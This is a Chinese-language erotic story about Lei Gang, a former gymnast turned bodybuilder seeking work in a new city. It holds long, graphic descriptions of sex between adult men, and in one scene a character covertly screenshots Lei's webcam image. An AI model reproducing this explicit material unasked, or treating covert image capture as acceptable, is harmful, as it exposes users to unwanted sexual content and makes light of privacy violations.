图片载入中

雷刚

特大字】 【大字】 【中字】 【小字

雷刚

引子

他刚走进这个酒吧的大门,就感觉身上很快集中了不少视线。本来第一次来 这种地方,对这里很好奇,但似乎这里对他更感兴趣。虽然是异样的感觉,可这 很快消除了他的那一点紧张。

也许因为不是周末,这里人不太多。他找了张靠墙角的桌子坐下,随便点了 啤酒,等人。

灯光昏黄,音乐低回,陈设普通,酒吧里稀稀落落地散坐着十几个客人,大 多二、三十岁的样子,多是学生或白领的装扮,只有几个打扮出位的年轻男孩有 些醒目。这就是传说中的GayBar?多少有点让人失望。

虽然他刻意躲到了墙角,却很快发现这里才是最显眼的位置,在他观察周围 的时候,几乎所有人的目光都和他的视线相遇过了。

引人注目,惹人羡慕,这是他最熟悉和享受的感觉了。虽然他只有1米64 的个头,但重达73公斤、专业健美运动员般壮硕的身材总会引来周围人的侧目。 尤其正值盛夏,一件简单的紧身无袖T恤就让他骄傲的资本展露得恰到好处。

很快,开始有人过来和他搭话。

“不好意思,我在等人。”虽然他心里还是有那么一点不安,但他的确是在 等人。

很明显,他来早了。不知道这杯啤酒还能消磨多少时间。

他并不喜欢啤酒,但能这么随意喝啤酒,对他来说总是件痛快的事。也许是 被管束久了,一旦自由就什么都想放肆一把,即使在旁人看来司空见惯。

一、过往

他叫雷刚,刚来到这个城市不到1个月。其实也不算第一次来,以前参加集 训、比赛的时候也来过这里7次了,但从没像这次一样,来这里开始新的生活。

雷刚过去是运动员,练体操的。

7岁那年,教练就指着他的鼻子对他说:“你以后是要靠身体吃饭的。”从 那天起,他就开始了15年的运动生涯。

其实这并不是雷刚自己选的路,只是“靠运动出名挣钱的信念”在老家已经 成了一种宗教,他的父母一直笃信不疑,毫不犹豫地把他们的第二个儿子送上了 这条路。这也不是老天给雷刚选的路,他在13岁那年被教练劝退,理由是“身 高有超标趋势”(体操真是他妈矮人的运动),是父亲借钱送红包说好话给他硬 留下了。说也怪,那年后雷刚也没长什么个儿了。不过到了16岁那年,练跳马 时落地伤了跟腱,歇了三个月,从此后成绩一直平平,进省队不到半年就刷回来 了,留在老家训练基地混二线。那几年里,因为跟腱问题,教练让雷刚主攻吊环, 也一直没出特别优异的成绩。

22岁那年雷刚终于退役了,分了个大专文凭。他想留在队里当助教继续混, 无奈没后台被刷了,又是一轮送红包说好话,得以留在训练基地继续混了两年。 本来父母计画他在这两年中一边工作一边升个大本文凭,但他基本上是辜负他们 的期望了,几乎都没碰过几天书,不是懒,是实在看不进去任何东西。

这两年里雷刚只做了一件事,利用基地的条件扎扎实实地健美训练。过去在 队里,为保证动作品质,肌肉围度需要一定的控制,退役后就完全由他了。虽说 念书不在行,拼体力他一直是一等一的高手。2年下来,体重从68公斤提高到 73公斤,胸围达到了115釐米,上臂增到40釐米。雷刚从不否认自己对肌 肉的狂热,这几乎是从十几岁就开始的强烈感觉。每当看到肌肉男的图片,就想 变得和他们一样;每当有人称赞他的身材,他心里都会涌起一阵狂喜。脱光了照 镜子是雷刚独自一人时最常做的事情了,他日常的自慰也都在这个时候进行。尽 管进入青春期后,教练就板着脸教训他们要“用坚强的意志克制手淫”,他在1 6岁以后几乎每天都要有一次。退役后疯狂增肌的2年里,镜前自慰更成了他一 天中最爽的事情。

雷刚这两年中其实还做了另一件事,一件让父母比较开心的事——谈了一次 半年多的“恋爱”。女方是乡政府一个小官的小女儿,长得还算不错,中专毕业, 在镇上邮局工作。她倒不嫌雷刚矮(这是他退役后发现唯一可能自卑的地方,不 过她也才1米60),生活上也很照顾他,虽然不住一起,但经常给他送吃送穿。 她脾气大大咧咧,十分爽快,相亲的时候就主动约雷刚第二天逛街。私底下,她 也直言不讳,说最喜欢雷刚的浑身肌肉。他们的第一次性交就发生在第三次约会 的下午,邻镇一间招待所的房间里。整整两个小时,雷刚几乎一直被她骑着,任 由她疯狂地上下摆动套弄,这也养成了雷刚日后和她做爱通常被动的习惯。在她 用双手拼命揉捏雷刚两块厚实胸肌的时候,大汗淋漓的雷刚紧闭双眼,挺胸顶胯, 大吼着达到了高潮……

“以前听人说肌肉男的那里都很小,现在我不信了。”很多次,她满足地抚 摸着雷刚的腹肌,温柔地这么说着。这是雷刚最爱听她说的几句话之一了。

不过雷刚和她的关系也不过如此了。就这样约会、逛街、看电影、吃饭、每 周三到四次让她脱光雷刚的衣服、赞美他的肌肉和生殖器、男方被动的性交、高 潮……雷刚似乎从头到尾都没有对她有“性”的感觉,他的高潮都是在想像着自 己在整个过程中的样子达到的,至于她,雷刚甚至没有多看一眼。也许她也慢慢 感觉到了,就这样维持了半年多,她消失了一个月,然后让她父亲给雷刚的父亲 带话,她跟一个在银行工作的人好了。母亲在家敲着桌子当着雷刚的面骂了她好 几天,也许是怕雷刚难过,可他一点也没有难过,反倒觉得异样的轻松。

也许是因为雷刚藏着另一个秘密吧。

雷刚十九岁那年,网吧开始多了起来,他也开始知道用网路能看到许多以前 很难看到的东西。肌肉,是他最常搜索的词条了。很偶然也很必然的,他顺藤摸 瓜地打开了很多同志网站。这些网站里的图片比一般健美杂志的好多了,不光有 雷刚热爱的肌肉,还有他更感兴趣的性。雷刚到现在都记得第一次在网吧隔着裤 子自慰的感觉,前所未有的刺激和兴奋。很快,他知道了1、0、69、419 ……也许他最初感兴趣的并不是这些,但内心本能的欲望驱使他对这一切充满了 冲动。

终于,他趁一次在外地集训的休息日,在一个网上聊天室联系了一个叫小军 的大学生见面。小军并不是雷刚感兴趣的类型,毕竟在网上找到和他一型的不太 容易,但他总觉得大学生会比较健康安全,也比较有素质,于是就见面了。

第二天早晨,雷刚几乎是被太阳晒醒的。旷课的小军靠在他浑圆的肩头,一 手托握着他厚实的胸肌,睡得死死的。床单被揉得乱七八糟,衣服到处都是,地 上放肆地躺着4个裹着液体的安全套,整个房间里充满了男人雄性体液的味道。

雷刚回忆着昨夜的一切:他脱下上衣时小军几乎尖叫的惊讶表情、小军把头 埋在他发达胸肌上贪婪的吸咬、小军给他口交时迷离的眼神、他的龟头顶进小军 体内时的那一下颤抖、房间里每个角落里热血沸腾的活塞运动、那四次毫无保留 的剧烈射精、那从小军表情中读出的征服的满足感……

“你醒了?”小军睁开了眼睛,把雷刚抱得更紧了,“你知道吗?我都没想 过这辈子能和你这么棒的男人做爱。”

“真的?我什么棒?”

“这个,还有这个……”小军坏笑着,用手捏了捏雷刚发达的胸肌,然后一 路滑到雷刚已经再次硬挺的阳具。

“喜欢吗?”

“爱死了!你太强了,四次都那么猛。”

“第五次更猛……”雷刚一翻身,再次将小军压在了身下……

这就是“性”吗?这种感觉比雷刚过去和队友一起熘出去找女人的感觉强烈 得多。

雷刚不知道自己是不是真正的同志,因为他知道自己在和小军做爱的时候, 脑子里始终出现的是他自己的样子,他自己壮硕的身体上每一块肌肉的收缩和抽 动。

在他达到高潮时,好像整个世界就只剩下他一个,累积的快感让他难以自控 地喷射。

他是为自己而喷射的。

“肌肉男都特自恋。”在网路上,雷刚不止一次看到这样的说法。

“也许就是这样吧,也许我不是Gay。”雷刚常常这样在心里对自己说。

尽管这样想,但雷刚从那以后还是不断找机会找男人做爱。他发现自己从男 人身上得到的成就感比从女人身上强烈得多,来自男人的赞美比来自女人的更能 让他满足。

雷刚联系见面的人基本都是学生,每个都比他高,而且是在视频上看到他亮 一下二头肌就要喜欢得要命的学生。安全第一,要比他高,还要绝对崇拜他的身 体,这算是雷刚自己定下的标准。

因为在队训练的关系,雷刚出外找男人做爱的频率非常低,一般一、两个月 才能有一次机会。但每一次,雷刚一定会毫无保留地爆发。

在外地基地集训的一个夏天,雷刚一次联系了两个大专生,在一间小旅馆里 呆了一整晚。

五次高潮。

其中四次平均分配,最后一次,雷刚在把两个男孩分别操射之后,靠在床头 在两人中间平躺下,让他们用舌头伺候自己的胸肌和乳头,一人用手托揉他硕大 的阴囊,一人用手套弄他满是淫液的粗壮阳具。在两个人充满欲望的崇拜眼神里, 雷刚低头看着自己起伏的强壮胸肌、被两人的舌尖来回拨弄的坚挺乳头、8块棱 角分明的发达腹肌、以及胯间那接近爆发边缘的雄伟阳具,他突然闭上眼睛,停 止了粗重的喘息,深吸一口气,头猛向后一仰,大吼一声:“啊————”两人 都感觉到雷刚的生殖器在手中微微一颤,只见一大股灼热的白色精柱从他胀红的 硕大龟头前端狂喷而出,径直冲射到他粗壮的脖子上。在两人淫荡的惊叹中,雷 刚肌肉纠结的身体有节奏地收缩抽搐着,粗壮的阴茎一下下微微上翘,有力地喷 射出一股接一股精液……雷刚达到了他从未有过的高潮……

“这算一场表演吗?这就是我要的性吗?”雷刚在满足过后暗自想着,“也 许我真的太自恋了……”

就这样直到雷刚退役,开始在老家的训练基地工作,他停止了这样的“见面”。 毕竟那个小城市太小了,哪里都是亲戚熟人。雷刚也倒没有觉得什么压抑,一是 因为不久就交了女友,二是因为在增肌训练期间,每天的镜前自慰已经能让他满 足。

“我不需要男人或女人,我需要的是自己。”雷刚常常对着镜中的自己这么 想着。

在训练基地混了两年后,因为上面人事变动,雷刚的工作保不住了。没文凭, 也没一技之长,雷刚回家闲呆了1个多月。家里的经济状况一直不好,父母一辈 子务农,哥哥在镇上开卡车,勉强能维持家庭开支,家里突然多了一张食量超大 的嘴,的确承受不了。在亲戚的介绍下,父母商量要雷刚到省会大城市去找工作。

就这样,雷刚带着一封训练基地开的介绍信和一千多块钱,只身来到了这个 陌生的地方。

二、新人

来到这里才知道,亲戚介绍的熟人只是在一个批发市场做小生意,根本不能 帮他找什么人脉和门路。

“现在这边健身房开得挺多的,以你的条件肯定找得到工作。收入很不错的 啊……”

一顿简单的招待便饭之后,雷刚还是要独自面对这个陌生的城市。

雷刚硬着头皮去了几间健身房问工作,管事的人竟然都是西装革履、弱不禁 风的样子。训练基地的介绍信根本没什么用,雷刚一听他们说要什么证书、认证, 头都大了。倒是有一间小健身房愿意雇他,但是工资太低,工作环境也很差,雷 刚在训练基地呆惯了,根本不习惯。

几天下来,用掉了几百块,找工作一点眉目都没有。雷刚走在人群熙熙攘攘 的闹市街头,心里说不出的空虚。

刚来到这个城市的时候,雷刚非常享受走在大街上的感觉。路人对他身材羡 慕的视线简直是他的阳光。雷刚心里特别爽,似乎初来乍到就已经征服了这个城 市。而现在,他更多的是疲惫和迷茫。

几乎是不由自主的,雷刚晃进了一间网吧。

同样不由自主的,他打开了一个同志聊天室。

到底是大城市,聊天室里的人非常多,萤幕刷新得飞快。

“24/ 164/ 73肌肉猛1……”他刚把资讯发出去,就有很多回话。

不少人第一句就问他:“你胖吗?”

雷刚不屑地一笑。从他开始在网上聊天开始,就已经习惯类似的问话了,每 次只需要他对着摄像头把袖子捋上肩头,一切的疑问都会变成穷追猛打的询问他 联系方式。

而这次是他退役增肌后第一次来同志聊天室,他还没有习惯马上打开视频。

只是消磨一下时间吧,雷刚这次没有特别的目的,毕竟传说中的大城市也不 太安全。

就这样漫无目的地聊了半个多小时,有一个人引起了雷刚的注意。这人叫赵 鹏,26/ 175/ 62,在一家不小的健身房做会籍主管……赵鹏不像其他人 一直花言巧语让雷刚开视频,而是一本正经地和他谈健身,谈这个行业,也给他 介绍了做教练必须的一些证书资讯。雷刚很认真地和他聊了一个小时,赵鹏表示 愿意帮他介绍些机会。

“咱们见面聊吗?算交个朋友。”赵鹏问。

“可以。就今晚吧。”雷刚晚上实在无事可做,也急于了解工作相关的事情。

“这么快?好啊!”看得出赵鹏有点喜出望外,“不过,可以先视频一下吗?”

“Gay都是一样的。”雷刚心想着,但已经开始调摄像头。

“我没别的意思啊,就是先看一下面的见面不好认。”

“哦。”雷刚挺了挺身,故作谨慎地将摄像头对准自己的脸部以下,点开了 连接。

雷刚这两年增肌以后,上身围度增加不少,在白色紧身体恤的衬托下,两大 块壮硕胸肌在视频里的视觉效果比过去更加饱满。在视频连通的那一瞬间,网路 另一端的赵鹏倒抽一口凉气。“我他妈捡到宝了!”赵鹏一面暗喊,一面飞快地 截着图。

“怎么?看到了吗?”雷刚见赵鹏半天没有回话,有点纳闷。

“看到了!看到了!晚上几点在哪里见面?”

“我不熟,你说个地方吧,能坐下来聊天就行。”

“去XX酒吧好了,离我们都近。”赵鹏停了一会儿,“那是个同志酒吧, 你介意吗?”

雷刚迟疑了一下,但想想也没什么大不了,还可以去长长见识。

“无所谓,去吧。”

“那好……”赵鹏兴奋地留下地址,和雷刚互换了电话号码,“我马上上班 了,晚上下了班就赶过去,大概九点钟,不见不散啊,88~ ”说着,赵鹏关掉 了视频。

“你不是说要视频怕不好认吗?要看脸吗?”

“不用了,绝对好认!”

……

差三分钟到九点了,雷刚的一扎啤酒才喝了一半。他有点不耐烦,也有点悃。 长期的训练生活让他的睡眠时间规律得要命,每天到十点,他一定睡觉的,而且 这些天到处跑来跑去打听工作,对他来说比训练累多了。

“你好,久等了!”雷刚肩头被人轻轻一拍,他回过头去,看到的是一个笑 嘻嘻的穿着入时的年轻人。

“你是……”

“我是赵鹏啊,你是雷刚?”

“嗯……”

“我就说绝对不会认错的。”笑着,赵鹏拉开椅子坐了下来。

“你刚下班吗?”雷刚对他的这身打扮有点怀疑。

“是啊,我跑回去换了衣服才过来。”赵鹏笑着,两眼不停打量着雷刚, “要见这么重要的朋友,总要注意形象吧!”

“哦……”

赵鹏也点了一扎啤酒,两人开始聊起来。

赵鹏还是一本正经地跟雷刚谈当地的健身行业,只是说话的时候视线一直在 雷刚身上晃来晃去,雷刚拿起杯子时不经意亮出发达的二头肌,赵鹏眼睛直放光。 雷刚慢慢觉出自己和这城市最不适应的地方了:赵鹏和很多当地人一样,说话圆 滑世故,而雷刚长期生活在简单的环境里,表达沟通能力明显偏弱。赵鹏也时不 时开玩笑说雷刚木讷得可爱。

聊了快一个小时,基本的结论是:雷刚必须先拿一个相关认证,而且最好有 人帮忙介绍去大一些的健身房,发展比较有前途。

考认证需要时间需要钱,而介绍人又要上哪里去找……雷刚还是觉得迷茫。

“认证这个东西还是要的,至于介绍嘛,兄弟我可以帮忙啊,说不定可以先 让你上岗,一边工作一边考证书,这是最佳方案了。”

“真的吗?那实在是太不好意思了,如果成了要好好谢谢你啊!”雷刚话才 出口就觉得有点虚,萍水相逢的人真能帮大忙吗?就算成了,该怎么答谢啊?

“这么客气干什么?这不是把兄弟我当外人吗?”赵鹏还是那副笑嘻嘻的样 子,“来,干!”

一扎啤酒下肚,雷刚不一会儿就起身要去洗手间。

“走,一起去。”赵鹏一副要形影不离的样子。

这间酒吧不算大,洗手间却挺多,转角过去一顺熘有4个。第一个门推不开, 雷刚推开第二个。里面大概有七、八个平米大,装修似乎比外面高档得多,宽大 的大理石台面,靠面盆、对面以及右侧的整整三面墙都是大落地玻璃镜,一个马 桶和一个小便器都洁白锃亮,六盏微黄的射灯从天花板直射下来,整个空间弥漫 着淡淡的香料味道。

“城里人真他妈够讲究的……”雷刚心里骂着,却不想表现出惊讶,故作镇 定地靠到小便器边,解开运动裤的系带。

赵鹏不动声色地轻轻插上了门,掀开了马桶盖。

赵鹏都洗完手了,雷刚才完事。

“兄弟水好大啊,呵呵!”赵鹏笑着让开让雷刚洗手。

雷刚刚开始搓洗手液,发觉赵鹏已绕到他身后,两手轻轻放在了他的腰上。

“靠,这么细!一点赘肉都没有!”没等雷刚出声,赵鹏故作大惊小怪的叫 起来。

“还好啊……”雷刚心里开始得意,但表现得很镇定,继续搓手。

“我看兄弟块头,还以为多少有点肥肉呢……没想到,没想到……”赵鹏说 着,双手贴着雷刚的越来越粗壮的腰线往上滑。

雷刚已经洗完手,看着镜子里面的自己和赵鹏。和赵鹏比起来,他的体型的 确太突出了,虽然赵鹏比他高一个头,但还是他显得更有男人的雄性气质。在射 灯的衬托下,雷刚壮硕的胸肌和粗壮的双臂显出凸凹有致的阴影,显得线条格外 漂亮。雷刚两手扶在台面上,有点出神地看着自己。

“兄弟介意让我看一下你的胸肌吗?实在太强了!”

“可以啊。”露一下上身对雷刚来说是习以为常的,他刚要拉衣服,赵鹏拦 住了他的手。

“让我来吧。”说着,赵鹏两手撩起雷刚的T恤,慢慢向上拉。

从雷刚棱角分明的腹肌展露出来开始,赵鹏几乎屏住了唿吸,在心里不停的 暗念着:“我操!我操!”很快,雷刚八块凸凹分明的腹肌全部露了出来,T恤 衫的边缘卡在一道夸张的曲线底端。

赵鹏咽了一下口水,拉住衣边继续往上撩。

T恤衫的边缘滑过一道小坎,开始沿着一条圆滑的曲线向外暴张,雷刚壮硕 的胸肌开始露出来。光滑的皮肤,在射灯的照射下显出小麦色的光泽,小小的粉 红乳头在两块宽阔厚实的胸大肌上显得有点不成比例,清晰的胸沟和胸肌的下缘 线划出三道漂亮的线条。赵鹏把雷刚的T恤拉到锁骨处卡住,雷刚凹凸分明的胸 腹肌肉展露无遗。赵鹏大气都不敢出,直勾勾地盯着镜子中的男人身体。

“还可以吧?”雷刚看赵鹏眼睛发直,不由得得意的轻轻一笑。

“太……太可以了!”赵鹏又咽了一下口水,“我……我能摸一下吗?”

“不好吧……”雷刚下意识地看了一下门。

“没事,门锁好了。”赵鹏不等雷刚说话,两手贴到了雷刚发达的腹肌上。

雷刚的身体微微抖了一下。

赵鹏紧张地闭上眼睛,半张着嘴,两手贴着雷刚结实的腹肌慢慢向上滑,手 指随着紧实的肌肉块上下起伏。很快,赵鹏的手指触到了两大块厚厚的肌肉。赵 鹏把整个手掌滑上去,托起雷刚沉甸甸的厚实胸肌,手指不经意间触到了他坚挺 的小乳头。

“乳头都硬了……”赵鹏心里一阵兴奋,开始轻轻揉捏雷刚极富弹性的发达 胸肌。

“嗯……”

赵鹏听到雷刚轻轻哼了一下,他睁开眼睛,只见镜子里的雷刚已经轻轻闭上 了双眼,心中大喜:“这小子喜欢被摸!”

放开了胆子,赵鹏一面注视着镜子中的这个任他摸捏的肌肉壮男,一面用双 手尽情享受这个难得的肉体。

雷刚此刻已经没有了先前的紧张,毕竟已经很久没有人触摸他的身体了,他 心里的欲望被慢慢点燃,这种心里发痒的感觉让他兴奋。赵鹏的手法显然是极其 熟练的,托、握、捏、揉,不时用手指轻拨雷刚坚挺的乳头。雷刚敏感的身体随 着他的摩擦轻轻颤抖着,两块发达的胸肌不时地抽搐抖动。

赵鹏睁大眼睛注视着雷刚身体裸露部分的每一个细节,这样健壮的肌肉男他 还从未遇到过。更令他惊讶的是,原以为像这样的肌肉壮男一定是床上的老手, 而雷刚的身体简直和处男一样敏感,尤其是那一对粉红色的小乳头,既与他的身 材不成比例,又显得异常性感。赵鹏忍不住用指尖在雷刚的两粒乳头上打圈式地 摩擦起来。

“嗯————”雷刚因为这刺激整个身体一阵紧绷,忍不住哼叫起来。

“原来这里是他的兴奋点!”赵鹏心里一阵激动,干脆松开托握着雷刚厚重 胸肌的手掌,两手只用食指和中指的指尖,一阵一阵地快速摩擦起他的乳头来。

“嗯——嗯————”这突如其来的刺激让雷刚猝不及防,强烈的快感像电 流一样,从他那两粒坚挺的乳头,扩散到全身的每一块肌肉。酥麻的感觉让雷刚 一阵腿软,他用手扶住台面,两腿张开一些,稳住重心。一波接一波的快感不断 冲刷着他的全身,他不由自主地头向后仰,挺胸提臀,轻轻扭动着身体。

赵鹏几乎忘了唿吸,集中全部注意力在他的指尖上,一阵阵地全力急速刺激 雷刚的乳头。镜子里面的这个肌肉壮男完全被这四根手指通过两个小小的点控制 住了!赵鹏早已勃起的阳具在牛仔裤里顶得难受,但他不敢松开手有别的动作, 生怕打断了这令他窒息的艳遇。

“嗯——嗯——啊————”雷刚用力张开自己宽阔的肩膀,挺起胸肌去迎 合赵鹏的手指,同时臀部也撅得更高了。

赵鹏忍不住低头看雷刚的臀部,虽然穿着宽松的白色运动长裤,仍然能看出 高翘浑圆的轮廓。“好翘的屁股!”赵鹏一开始就在猜测雷刚是1还是0,现在 他真希望他是个0,一个能让他上的0。

赵鹏没有停下手指的动作,继续刺激着雷刚兴奋的乳头。他知道自己再看雷 刚的屁股很快会受不了,于是抬起头,继续注视着镜子。雷刚已经睁开了眼睛, 微张着嘴,同样注视着镜中的自己。在射灯的照射下,雷刚上身的肌肉近乎完美 的展现出来,壮硕的胸肌由于先前的揉捏,有一点充血,显得更加厚实;坚挺的 乳头在强烈的刺激下,颜色已经有点变化。

赵鹏看得心脏狂跳,忍不住低下头,在雷刚结实的肩膀上轻轻咬了一下。

“啊!”雷刚敏感地抽动了一下。

这时,赵鹏看到了雷刚的下身,白色运动裤的胯间,已经撑起了一个大帐篷。 “好家伙!”赵鹏心头一紧。

“兄弟,裤子紧吗?要不要脱了?”赵鹏无意识地问了句。

“嗯。”雷刚此时已经完全没有任何顾忌和紧张,他现在最想做的事情就是 看着镜子中的自己,这个能调动他最强性欲的身体,达到高潮。

“可以?!”赵鹏的心都快跳出来了,默默地大喊着,“我操!我操!”

赵鹏把手从雷刚的胸部拿开,放到他背后的裤腰上,慢慢地往下拉。雷刚的 臀沟露了出来,赵鹏咽了一下口水,正想一下把他扒光,突然发现裤子因为系带 卡住了。这时,雷刚直起身,自己从前面解开了裤带,然后重新把手扶在台面上, 并下意识地撅高了臀部。

赵鹏已经在怀疑自己在做梦了。他按耐不住,跪在了地上,抓住雷刚的裤腰, 连他的内裤一起拉了下来。

“我操!好棒的屁股!”

雷刚的髋骨不是特别窄,加上腰部很细,显得他的臀部十分浑圆,异常粗壮 的大腿连着强壮的臀大肌,一点赘肉都没有,这又圆又翘的屁股是只有专业运动 员才有的水准。赵鹏已经说不出话来,两手贴在雷刚的两瓣翘臀上拼命揉捏着。

雷刚转过头,看着侧面墙壁的大落地镜里自己的侧面曲线,也不由得一阵强 烈的兴奋。

赵鹏跪在地上,两手抓着雷刚的臀瓣拼命地一圈一圈地揉捏着,一点一点地 将这两大块肌肉向两边分开,试图扒开雷刚的臀沟,一窥他的私密之处。

雷刚察觉到了他的意图,马上硬转过身来,靠在大理石台面上,正面对着赵 鹏。

“你还没帮我脱掉呢。”

原来赵鹏被雷刚的臀部迷得六神无主,竟然只将雷刚裤子的后面拉了下来, 前面还没脱下来。雷刚胯间的帐篷支得更高了。

赵鹏定一定神,两手抓住雷刚的裤腰,连外裤带内裤,一把猛拉到他的膝盖 下面. “我操!!!”赵鹏的脑袋几乎一片空白……

其实从一开始,赵鹏就没有对雷刚的阳具大小有特别的期望。他很清楚,大 多数健美运动员的家伙都小得可怜。也因此在刚才,他心里特别期望雷刚是个0。 然而,现在……雷刚肌肉发达的大腿根部,一小片短粗黑亮的阴毛下方,一根粗 壮无比的肉棒昂首挺立着,前端胀得发红的龟头又圆又大,马眼周围流满了淫液。 最让赵鹏目瞪口呆的是雷刚的阴囊,饱满的肉袋裹着一对浑圆硕大的睾丸,充满 了雄性的力量。赵鹏一把握住雷刚的阴茎,另一手托起了他沉甸甸的阴囊,兴奋 得一阵眩晕。

雷刚的阴茎大概有十五釐米多,虽然长度并不突出,但粗得惊人,棒身青筋 纠结,龟头硕大无比,令人怀疑这粗大肉棒也是他刻苦锻炼出来的成果,加上雷 刚只有1米64的身高,这样尺寸的阳具实在算得上惊人了!

“怎么样?”雷刚不无得意,居高临下地问道。

赵鹏坏笑着,也不说话,一面抬眼看着雷刚的眼睛,一面把雷刚的阳具送进 了自己嘴里。

“啊————”很久没有这样的感觉了,雷刚舒服得叫了出来。

赵鹏盯着雷刚的表情,将他的阳具越插越深,直到他的大龟头顶住自己的嗓 子眼。然后,慢慢地拔了出来,整根阴茎满是粘液的光泽。

“怎么样?”赵鹏坏笑着反问。

雷刚不说话,硬挺的阴茎不由自主地翘了一下。

“兄弟多久没射了?”

“一个星期了。”

“太棒了,能把存货都给我吗?”

“看你有没本事拿了。”雷刚此时已经完全进入了状态,说话也淫荡大胆起 来。

赵鹏一口把雷刚的整根阴茎插进嘴里,开始了疯狂的吮吸。

赵鹏的口交技术比雷刚以前遇过的那些学生要厉害多了,时而用力吮吸雷刚 的龟头,时而用来回舔弄他的阴茎,时而用舌尖研磨他的马眼四周,时而用舌头 拨弄他胀圆的龟头,两手托着他硕大的阴囊不停揉搓着……雷刚很快就有点站不 稳,于是双臂用肘部撑在台面上,上身后倾,粗壮的大腿张得开开的,将自己的 生殖器交给赵鹏任意玩弄。

二十分钟过去了,随着赵鹏熟练的口交,雷刚慢慢接近了爆发的边缘。从雷 刚硕大龟头前端流出的淫液已润滑了赵鹏的整个口腔,赵鹏的嘴角已经被雷刚粗 大的阴茎撑得生疼,但他丝毫没有减慢口交的速度,反而更疯狂地向雷刚的精关 发起攻势。

雷刚此时已是大汗淋漓,他已将上衣脱下,几近全裸地靠在大理石台面上, 两腿大开,任由赵鹏为他疯狂地口交。雷刚一直在正面和侧面的大落地镜中注视 着自己,一个接近性高潮的裸体肌肉壮男。如果不是刻意地忍耐,雷刚有好几次 都快支撑不住了。

“怎么样?还可以吧?”尽管如此,雷刚还是一味嘴硬,故意摆出一副得意 的样子。

赵鹏不出声,继续着吮吸的动作,抬眼看着雷刚。从他的角度看上去,雷刚 发达的胸肌显得出奇的硕大,两粒小小的乳头兴奋地坚挺着,随着雷刚粗重的喘 息上下起伏着。赵鹏慢慢把双手从雷刚的阴囊移到他粗壮的大腿上,然后一路向 上滑去。

“啊——”雷刚没料到他这一手,被这突然的刺激弄得全身微微一阵抽搐。

赵鹏眼角坏笑着,将双手滑到了雷刚壮硕的胸肌上,手指分别触到了他那两 粒坚挺无比的乳头,没等雷刚反应过来,就开始了快速的拨弄磨擦!

“啊————”雷刚一下失去了控制,剧烈的快感像电流一样从他的乳头扫 过全身。雷刚知道自己这下挺不住了,索性头猛向后一仰,紧闭双眼,挺起胸来 接受这刺激。

赵鹏听到他声音都变了,知道离成功不远,也加快了口交的速度和幅度,用 力地疯狂吮吸着雷刚开始不停流出淫液的阳具。

雷刚全身的每一块肌肉都开始紧张起来,不管他怎么强忍,来自乳头的强烈 刺激都势不可挡地攻陷了他最后的防线。一股剧烈的酥痒从雷刚的小腹慢慢流到 了他的阴茎根部……雷刚紧张地低下头,张着嘴大口大口的喘着粗气,睁大眼睛 看着自己处在高潮边缘的身体:被汗水浸湿的壮硕胸肌大幅度地起伏着,两粒坚 挺的乳头正承受着不可抗拒的强烈刺激,极度紧张的腹肌下方,阳具根部的阴毛 已经完全被从阴茎流下来的粘液浸湿………

“啊————————”

只见雷刚再次将头猛地向后一仰,全身肌肉紧绷起来,双腿紧紧地夹住赵鹏 的身体。赵鹏知道雷刚到高潮了,一面把手指压按在他的乳头上揉擦,一面将他 的阳具深深地插进自己嘴里。

不到三秒钟,只感到雷刚粗大的阴茎在他嘴里猛地一胀,一大股灼热的液体 从那硕大的龟头前端狂喷而出,径直灌进了他的喉咙!

“啊——啊——啊——啊—————”雷刚紧闭双眼,放开了嗓门,壮硕的 身体不断剧烈抽搐着,随着这节奏,一股接一股滚烫的精液从他的马眼里有力的 喷射出来。

赵鹏两眼一眨不眨地盯着雷刚高潮的全过程,直到雷刚射出的巨量精液把他 灌得差点窒息,他才忙乱地把雷刚的阴茎从嘴里拔出来,手忙脚乱地掏出自己快 胀爆的阳具,飞快地套弄起来……

“你先出去吧,我洗把脸。”雷刚整好了衣服。

“好,外面等你。”赵鹏心满意足地打开门出去了。

门外忽然传来一阵喧闹声。

“出来了,出来了!”

“小赵,真有你的!”

“那是谁呀?怎么认识的?”

“爽了吧,你?”

“刚是他在叫吧?”

“快说说怎么做的?”

“他是0还是1?”

……

雷刚听着赵鹏把这喧闹的人群带远了,轻舒一口气,俯在面盆里用凉水浸了 浸脸。

一种空虚的感觉从心里涌了出来。

需要面对的,依然是这个陌生而迷茫的城市。雷刚突然觉得生活从来没有这 么复杂过。

看着镜子里的自己。

深唿吸。

三、陪伴

“我明天上班就给你说去,等我电话啊!”分手的时候,赵鹏一脸自信地说。

“嗯,多谢了!”

回到简陋的小旅馆,雷刚倒在床上就睡着了。

第二天早上十点,赵鹏的电话把他叫醒了。赵鹏得意地通知雷刚隔天去面试, 雷刚很高兴。赵鹏接着约他晚上再去酒吧玩,说是有几个朋友想认识他。虽然这 里不是老家,但雷刚还是觉得小心点好,他一直对认识很多所谓同志圈的人非常 抵触,因为他到现在还不认为自己是Gay。他直率地把想法告诉了赵鹏,赵鹏 有一点点失望,但也表示无所谓了。

隔天的面试才是叫两个人都彻底失望的。戴眼镜的胖经理婉转地拒绝了雷刚, 理由是目前他们只缺能教健美操的兼职男教练。

赵鹏的表情非常尴尬,不知道对雷刚说什么才好,只是一味地骂着经理。

雷刚知道自己本不该抱太大希望,现在真的不知道该怎么办了。

带来的钱已经花得差不多了,雷刚有了回家的打算。

“就这么跑回去了?我操!”

雷刚一整天烦躁地躺在旅馆房间里,胸口的火气憋得发疼。

晚上十点多,赵鹏突然打电话过来。

“兄弟,今天真的对不起!”

“没事。”

“我能力是有限,但我帮你问了一个人,如果他能帮你,这点小事绝对没问 题。如果你愿意,他想约你明天中午吃个饭。”

“什么人?”雷刚本能地防备起来。

赵鹏说只知道这人姓王,是他一个朋友的老板,当过兵,做餐饮起家,现在 经营的房地产公司已有不小的规模,而且和健身行业有不少业务往来。

“他是Gay吗?”雷刚知道自己有点明知故问。

“是,但是他结婚了,孩子刚上初中。”

“他多大年纪?”

“39。”

……

雷刚感觉非常奇怪。他和赵鹏在酒吧发生的事,他并没有想成某种交易,但 对这个人的意图,他也许已经清楚了。雷刚突然想到了MB,这个似乎跟他从来 没有关系的词。

“我朋友说他人很不错,他这方面很低调,很注意安全,和你一样不喜欢接 触很多人。兄弟去见一下吧!”

“……嗯,好吧……”雷刚不知道自己怎么答应的,但又想想,大白天去见 个人又不会少块肉,就算离开这里之前去蹭一顿饭也好,也就无所谓了……

第二天中午,雷刚按着赵鹏给的地址,找到了约见王凯的酒店。他没有想到, 这竟是一间五星级饭店。虽然今天雷刚穿了件有袖的T恤,他还是担心自己一身 运动行头不合适。雷刚在酒店前面的大街上转了几圈,终于硬着头皮走了进去。

